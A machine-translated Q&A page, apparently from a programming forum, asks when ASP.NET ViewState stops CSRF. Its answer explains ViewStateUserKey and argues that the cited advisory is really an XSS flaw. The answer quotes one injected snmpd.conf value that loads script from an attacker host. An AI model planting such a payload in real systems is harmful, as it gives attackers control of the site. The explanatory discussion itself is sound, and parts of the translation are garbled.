在什么情况下请求中的视图状态可以防止CSRF攻击? This exploit声称即使视图状态出现在请求中,它仍然容易受到CSRF的影响。然而这个漏洞并不能解释为什么会出现这种情况。viewstate什么时候停止CSRF?它何时失败?
1
A
回答
1
viewstate是一种意味着持续跨回发的视图状态(即控件的属性值)。如果这个状态可以被攻击者猜出或者伪造,那么攻击者也可以伪造一个真实的跨站请求。
在mentioned case,似乎攻击实际上需要一个跨站点脚本漏洞的CSRF攻击:
通过XSS和CSRF的组合,用户可以添加到Web应用程序通过配置snmpd.conf文件到指向一个攻击者控制的JavaScript文件:
syscontact <script src="http://attacker/evil.js"></script>
所以具有目标原点内执行的攻击代码,该请求伪造攻击不是“截面-S ite'。除此之外,由于视图状态在某些情况下可以预测,因此不能防止CSRF攻击,供应商向视图状态机制添加了一些不可预知的信息。在ASP.NET中,这被称为ViewStateUserKey property,它基本上是每个用户的私有密钥,用于视图状态的MAC计算。
但由于该漏洞的描述说,似乎他们已经在使用这样的保护措施:
[...] NPM也容易受到CSRF攻击,尽管它利用VIEWSTATE保护的事实。
因此,这又是一个跨站点脚本漏洞,而不是跨站点请求伪造漏洞。因为如果您已经能够从网站内执行JavaScript代码,则您已经完全控制网站。
相关问题
- 1. 什么时候fopen失败?
- 2. 什么时候应该停止服务
- 3. 什么时候startService()停止了服务?
- 4. 什么时候停止CNN学习
- 5. 什么时候值得压缩ViewState?
- 6. 什么时候ViewState会话被清除?
- 7. 什么时候wkhtmltopdf真的失败
- 8. 什么时候会put()失败?
- 9. Django失败时的CSRF
- 10. 当JUnit失败时,如何停止Maven?
- 11. intn_t什么时候使用它,什么时候不使用
- 12. $ wpdb - 它在失败时返回什么?
- 13. SSAS时间序列,预测什么时候会失败
- 14. 如何知道tonegenerator什么时候停止播放
- 15. 函数ggplot:什么时候它不识别参数,什么时候它?
- 16. 停止“哔”的时候messageBox.Show()
- 17. Ajax-Call失败时停止执行Linkbutton
- 18. 断言失败时循环停止
- 19. 当我停止录制时MediaRecorder失败
- 20. 当它失败时可以停止vb脚本(在QTP中)吗?
- 21. 什么时候NFC服务停用?
- 22. 什么时候停止UIViewController接收委托调用
- 23. 什么时候停止从文件读取?
- 24. 谷歌什么时候停止支持c2dm推送通知?
- 25. 什么时候应该停止单元测试
- 26. 什么时候该停止训练我的模型?
- 27. 什么时候由invisible()返回的对象停止不可见?
- 28. 我的正则表达式不知道什么时候停止
- 29. 什么时候应该停止更新位置管理器?
- 30. 什么时候停止骆驼上下文
这是一个真正的asp-classic问题还是你的意思是asp.net? – AnthonyWJones 2012-07-22 20:51:50